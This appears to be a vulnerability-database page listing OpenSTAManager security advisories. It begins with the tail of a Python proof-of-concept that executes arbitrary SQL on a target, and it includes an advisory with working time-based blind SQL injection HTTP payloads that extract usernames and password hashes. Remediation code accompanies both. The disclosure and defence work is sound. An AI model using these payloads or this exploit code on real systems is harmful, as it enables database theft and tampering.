"poc_vuln04_verify" marker_value = "CVE_PROOF_arbitrary_sql_execution" info("Step 1: Creating marker table via arbitrary SQL execution...") queries = [ f"DROP TABLE IF EXISTS {marker_table}", f"CREATE TABLE {marker_table} (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)", f"INSERT INTO {marker_table} (proof) VALUES ('{marker_value}')", ] r = self.execute_sql(queries) info("Response: HTTP %d" % r.status_code) info("Step 2: Verifying marker table exists by reading it back...") # Use a second query to read the data via a UNION or time-based approach # Since we can execute arbitrary SQL, we can verify by creating another # marker and checking via a SELECT INTO approach verify_queries = [ f"INSERT INTO {marker_table} (proof) VALUES (CONCAT('verified_', (SELECT VERSION())))", ] r2 = self.execute_sql(verify_queries) # The JSON response may be embedded within HTML (editor.php renders the full page # after executing the action). Extract JSON from the response body. for resp in [r, r2]: # Try parsing as pure JSON first try: data = resp.json() if data.get("success"): success("SQL EXECUTION CONFIRMED! Server accepted and executed arbitrary SQL.") success("Marker table '%s' created with proof value." % marker_table) info("Response: %s" % data.get("message", "")[:200]) return True except (ValueError, KeyError): pass # Extract embedded JSON from HTML response json_match = re.search(r'\{"success"\s*:\s*true\s*,\s*"message"\s*:\s*"([^"]*)"', resp.text) if json_match: success("SQL EXECUTION CONFIRMED! Server accepted and executed arbitrary SQL.") success("Marker table '%s' created with proof value." % marker_table) info("Server message: %s" % json_match.group(1)[:200]) return True # Check for query execution indicators in response if "query sono state eseguite" in resp.text or "query eseguite" in resp.text.lower(): success("SQL EXECUTION CONFIRMED! Server reports queries were executed.") return True fail("Could not verify SQL execution. Check target manually.") fail("Tip: use --module-id N if auto-detection failed.") return False def cleanup(self): info("Cleaning up marker tables...") self.execute_sql(["DROP TABLE IF EXISTS poc_vuln04_verify"]) self.execute_sql(["DROP TABLE IF EXISTS poc_vuln04_marker"]) self.execute_sql(["DROP TABLE IF EXISTS poc_vuln04_tecnico"]) success("Cleanup complete.") # ── Output helpers ────────────────────────────────────────────────── def info(msg): print(f"\033[34m[*]\033[0m {msg}") def success(msg): print(f"\033[32m[+]\033[0m {msg}") def fail(msg): print(f"\033[31m[-]\033[0m {msg}") # ── Main ──────────────────────────────────────────────────────────── def main(): args = parse_args() exploit = OSMExploit(args) if not exploit.login(): sys.exit(1) if not exploit.detect_module_id(): sys.exit(1) print() info("=== Vulnerability Verification ===") if not exploit.verify(): sys.exit(1) print() info("=== Cleanup ===") exploit.cleanup() print() success("Verification complete. %d HTTP requests sent." % exploit.request_count) info( "All traffic was sent through the configured proxy." if args.proxy else "Tip: use --proxy http://127.0.0.1:8080 to capture in Burp Suite." ) if __name__ == "__main__": main() ``` ## Impact - **Confidentiality:** Complete database exfiltration — credentials, PII, financial data, configuration secrets. - **Integrity:** Full control over all database tables — insert, update, delete any record. An attacker can create new admin accounts, modify financial records, or plant backdoors. - **Availability:** An attacker can `DROP` critical tables, corrupt data, or execute resource-intensive queries to cause denial of service. - **Potential Remote Code Execution:** Depending on MySQL server configuration, an attacker may be able to use `SELECT ... INTO OUTFILE` to write arbitrary files to the server filesystem, or use MySQL UDF (User Defined Functions) to execute operating system commands. ## Proposed Remediation ### Option A: Remove Direct Query Execution (Recommended) Replace the arbitrary SQL execution with a predefined set of safe operations. The conflict resolution feature should only execute queries that were generated by the application itself, not user-supplied SQL: ```php case 'risolvi-conflitti-database': $queries_json = post('queries'); $queries = json_decode($queries_json, true); if (empty($queries)) { echo json_encode(['success' => false, 'message' => tr('Nessuna query ricevuta.')]); break; } // ALLOWLIST: Only permit specific safe SQL patterns $allowed_patterns = [ '/^ALTER\s+TABLE\s+`?\w+`?\s+(ADD|MODIFY|CHANGE|DROP)\s+/i', '/^CREATE\s+INDEX\s+/i', '/^DROP\s+INDEX\s+/i', '/^UPDATE\s+`?zz_views`?\s+SET\s+/i', '/^INSERT\s+INTO\s+`?zz_/i', ]; $safe_queries = []; $rejected = []; foreach ($queries as $query) { $is_safe = false; foreach ($allowed_patterns as $pattern) { if (preg_match($pattern, trim($query))) { $is_safe = true; break; } } if ($is_safe) { $safe_queries[] = $query; } else { $rejected[] = $query; } } if (!empty($rejected)) { echo json_encode([ 'success' => false, 'message' => tr('Query non permesse rilevate. Operazione bloccata.'), ]); break; } // Execute only validated queries foreach ($safe_queries as $query) { $dbo->query($query); } // ... ``` ### Option B: Server-Side Query Generation Instead of accepting raw SQL from the client, have the client send operation descriptors and generate the SQL on the server: ```php case 'risolvi-conflitti-database': $operations = json_decode(post('operations'), true); foreach ($operations as $op) { switch ($op['type']) { case 'add_column': $table = preg_replace('/[^a-zA-Z0-9_]/', '', $op['table']); $column = preg_replace('/[^a-zA-Z0-9_]/', '', $op['column']); $type = preg_replace('/[^a-zA-Z0-9_() ]/', '', $op['datatype']); $dbo->query("ALTER TABLE `{$table}` ADD COLUMN `{$column}` {$type}"); break; // ... other safe operations } } ``` ### Option C: Restrict Access (Minimum Mitigation) At minimum, restrict this operation to admin-only users: ```php case 'risolvi-conflitti-database': if (!auth_osm()->getUser()->is_admin) { echo json_encode(['success' => false, 'message' => tr('Accesso negato.')]); break; } // ... existing code ``` **Note:** This alone is insufficient because even admin accounts can be compromised, and the feature still allows arbitrary SQL execution. ### Additional Recommendations 1. **Remove `SET FOREIGN_KEY_CHECKS=0`**: Foreign key checks should never be disabled based on user-initiated actions. 2. **Sanitize error output**: Exception messages at line 79 leak database structure information. Replace with generic error messages. 3. **Add CSRF protection**: Ensure the endpoint validates a CSRF token to prevent cross-site request forgery attacks. 4. **Audit logging**: Log the actual SQL queries being executed (already partially implemented) but also log the requesting user's IP address and session. ## Credits Omar Ramirez |
Affected by 0 other vulnerabilities. |
|
VCID-g8ft-7f76-ebd4
Aliases: CVE-2025-65103 GHSA-2jm2-2p35-rp3j |
OpenSTAManager has Authenticated SQL Injection in API via 'display' parameter An authenticated SQL Injection vulnerability in the API allows any user, regardless of permission level, to execute arbitrary SQL queries. By manipulating the `display` parameter in an API request, an attacker can exfiltrate, modify, or delete any data in the database, leading to a full system compromise. |
Affected by 16 other vulnerabilities. |
|
VCID-gnx6-chzh-3fc3
Aliases: CVE-2026-24418 GHSA-4xwv-49c8-fvhq |
OpenSTAManager has a SQL Injection vulnerability in the Scadenzario bulk operations module Critical Error-Based SQL Injection vulnerability in the Scadenzario (Payment Schedule) bulk operations module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameter:** `id_records[]` (POST array) **Affected Endpoint:** `/actions.php?id_module=18` (Scadenzario module) **Attack Type:** Error-Based SQL Injection (IN clause) |
Affected by 6 other vulnerabilities. |
|
VCID-nv3t-9e16-8kbn
Aliases: CVE-2026-27012 GHSA-247v-7cw6-q57v |
OpenSTAManager affected by unauthenticated privilege escalation via modules/utenti/actions.php A privilege escalation and authentication bypass vulnerability in OpenSTAManager allows any attacker to arbitrarily change a user's group (`idgruppo`) by directly calling `modules/utenti/actions.php`. This can promote an existing account (e.g. agent) into the Amministratori group as well as demote any user including existing administrators. |
Affected by 6 other vulnerabilities. |
|
VCID-nzzy-h46k-bfcr
Aliases: CVE-2026-24417 GHSA-4hc4-8599-xh2h |
OpenSTAManager has a Time-Based Blind SQL Injection with Amplified Denial of Service Critical Time-Based Blind SQL Injection vulnerability affecting **multiple search modules** in OpenSTAManager v2.9.8 allows authenticated attackers to extract sensitive database contents including password hashes, customer data, and financial records through time-based Boolean inference attacks with **amplified execution** across 10+ modules. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameter:** `term` (GET) **Affected Endpoint:** `/ajax_search.php` **Affected Modules:** Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi | There are no reported fixed by versions. |
|
VCID-pxzr-bvsj-y3gs
Aliases: CVE-2025-69214 GHSA-qjv8-63xq-gq8m |
OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint) A SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter. |
Affected by 6 other vulnerabilities. |
|
VCID-uq8m-y1hg-qbgx
Aliases: CVE-2026-38751 GHSA-rm34-fg4m-39mw |
OpenSTAManager contains an arbitrary file upload vulnerability in its module update functionality OpenSTAManager versions 2.10 and earlier contain an arbitrary file upload vulnerability in the module update functionality (modules/aggiornamenti/upload_modules.php). |
Affected by 4 other vulnerabilities. |
|
VCID-w4gk-vbbq-13ea
Aliases: CVE-2025-69215 GHSA-qx9p-w3vj-q24q |
OpenSTAManager has an SQL Injection in the Stampe Module print("="*70) print(" EXTRACTION SUMMARY") print("="*70) print() if results: for key, value in results.items(): print(f" {key:.<40} {value}") | There are no reported fixed by versions. |
|
VCID-y85c-bbqe-r3bt
Aliases: CVE-2026-28805 GHSA-3gw8-3mg3-jmpc |
OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter ## Description Multiple AJAX select handlers in OpenSTAManager <= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the `options[stato]` GET parameter. The user-supplied value is read from `$superselect['stato']` and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database. ## Affected Endpoints Three modules share the same vulnerability pattern: ### 1. Preventivi (Quotes) - Primary - **Endpoint:** `GET /ajax_select.php?op=preventivi` - **File:** `modules/preventivi/ajax/select.php`, line 60 - **Required parameters:** `options[idanagrafica]` (any valid ID) **Vulnerable code:** ```php // modules/preventivi/ajax/select.php, lines 59-60 $stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile'; $where[] = '('.$stato.' = 1)'; ``` The `$stato` variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes `({user_input} = 1)`, allowing an attacker to break out of the expression and inject arbitrary SQL. ### 2. Ordini (Orders) - **Endpoint:** `GET /ajax_select.php?op=ordini-cliente` - **File:** `modules/ordini/ajax/select.php`, line 52 - **Required parameters:** `options[idanagrafica]` (any valid ID) **Vulnerable code:** ```php // modules/ordini/ajax/select.php, lines 51-52 $stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_fatturabile'; $where[] = '`or_statiordine`.'.$stato.' = 1'; ``` The `$stato` variable is inserted as a column name reference. The resulting SQL fragment becomes `` `or_statiordine`.{user_input} = 1 ``, allowing injection after the table-column reference. ### 3. Contratti (Contracts) - **Endpoint:** `GET /ajax_select.php?op=contratti` - **File:** `modules/contratti/ajax/select.php`, line 57 - **Required parameters:** `options[idanagrafica]` (any valid ID) **Vulnerable code:** ```php // modules/contratti/ajax/select.php, lines 56-57 $stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile'; $where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)'; ``` The `$stato` variable is inserted inside a subquery. The resulting SQL fragment becomes `WHERE {user_input} = 1)`, allowing an attacker to close the subquery and inject into the outer query. ## Root Cause Analysis ### Data Flow 1. The attacker sends a GET request with `options[stato]=<payload>` to `/ajax_select.php` 2. `ajax_select.php` (line 30) reads the value via `filter('options')`, which applies HTMLPurifier sanitization 3. HTMLPurifier strips HTML tags and the `>` character, but does **NOT** strip SQL keywords (`SELECT`, `SLEEP`, `IF`, `UNION`, etc.) or SQL-significant characters (`(`, `)`, `=`, `'`, etc.) 4. The sanitized value is passed to `AJAX::select()` in `src/AJAX.php` (line 40) 5. `AJAX::getSelectResults()` assigns `$superselect = $options` (line 273) and `require`s the module's `select.php` file (line 275) 6. The module's `select.php` reads `$superselect['stato']` and concatenates it directly into the `$where[]` array 7. `AJAX::selectResults()` joins all WHERE elements with `AND` and executes the query via `Query::executeAndCount()` (line 120) ### Why HTMLPurifier is Insufficient HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is **not** an SQL injection prevention mechanism. Specifically: - It does **not** strip SQL keywords: `SELECT`, `SLEEP`, `IF`, `UNION`, `FROM`, `WHERE` - It does **not** strip SQL operators: `=`, `(`, `)`, `,`, `+`, `-`, `*` - It strips the `>` character (used in HTML), which can be bypassed using MySQL's `GREATEST()` function - It provides zero protection against SQL injection ## Proof of Concept ### Prerequisites - A valid user account on the OpenSTAManager instance (any privilege level) - Network access to the application ### Step 1: Authenticate ``` POST /index.php HTTP/1.1 Host: <target> Content-Type: application/x-www-form-urlencoded op=login&username=<user>&password=<pass> ``` Save the `PHPSESSID` cookie from the `Set-Cookie` response header. ### Step 2: Verify Injection (SLEEP test) **Baseline request** (normal response time ~200ms): ``` GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1 Host: <target> Cookie: PHPSESSID=<session> ``` **Injection request** (response time ~10 seconds): ``` GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1 Host: <target> Cookie: PHPSESSID=<session> ``` **Expected result:** The response is delayed by approximately 10 seconds, confirming that the `SLEEP(10)` function was executed by the database server. The response body in both cases is identical: `{"results":[],"recordsFiltered":0}`. <img width="934" height="491" alt="image" src="https://github.com/user-attachments/assets/27beff84-3e25-43e1-b484-76db25c0faa8" /> ### Step 3: Data Extraction (demonstrating impact) Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The `>` character is stripped by HTMLPurifier, so the `GREATEST()` function is used as an equivalent: **Extract username length:** ``` GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1 ``` This technique was used to successfully extract: - **Username:** `admin` (5 characters, extracted character by character) - **Password hash prefix:** `$2y$10$qAo04wNbhR9cpxjHzrtcnu...` (bcrypt) - **MySQL version:** `8.3.0` ### PoC for Other Endpoints **Ordini (orders):** ``` GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1 ``` **Contratti (contracts):** ``` GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1 ``` Both endpoints show the same SLEEP-based timing delay, confirming the injection. ## Impact - **Confidentiality:** An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration. - **Integrity:** With MySQL's `INSERT`/`UPDATE` capabilities via subqueries, an attacker may be able to modify data. - **Availability:** An attacker can execute `SLEEP()` with large values or resource-intensive queries to cause denial of service. ## Proposed Remediation ### Option A: Allowlist Validation (Recommended) Replace the direct concatenation with an allowlist of permitted column names: ```php // modules/preventivi/ajax/select.php — FIXED $allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso']; $stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati) ? $superselect['stato'] : 'is_pianificabile'; $where[] = '('.$stato.' = 1)'; ``` ```php // modules/ordini/ajax/select.php — FIXED $allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato']; $stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati) ? $superselect['stato'] : 'is_fatturabile'; $where[] = '`or_statiordine`.'.$stato.' = 1'; ``` ```php // modules/contratti/ajax/select.php — FIXED $allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile']; $stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati) ? $superselect['stato'] : 'is_pianificabile'; $where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)'; ``` This approach is recommended because the `stato` parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted. ### Option B: Regex Validation (Alternative) If the set of column names is dynamic, validate the format strictly: ```php $stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile'; if (!preg_match('/^[a-z_]+$/i', $stato)) { $stato = 'is_pianificabile'; // fallback to safe default } $where[] = '('.$stato.' = 1)'; ``` This ensures only alphabetic characters and underscores are accepted, preventing any SQL injection. ### Option C: Backtick Quoting (Supplementary) In addition to validation, wrap the column name in backticks to treat it as an identifier: ```php $where[] = '(`'.str_replace('`', '', $stato).'` = 1)'; ``` **Note:** This alone is insufficient without input validation but provides defense-in-depth. ### Global Recommendation Audit all usages of `$superselect` across the codebase. Any value from `$superselect` that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The `prepare()` function is already used correctly in other parts of the code — the issue is specifically where `$superselect` values are used as column names or bare expressions. ### Credits Omar Ramirez |
Affected by 0 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||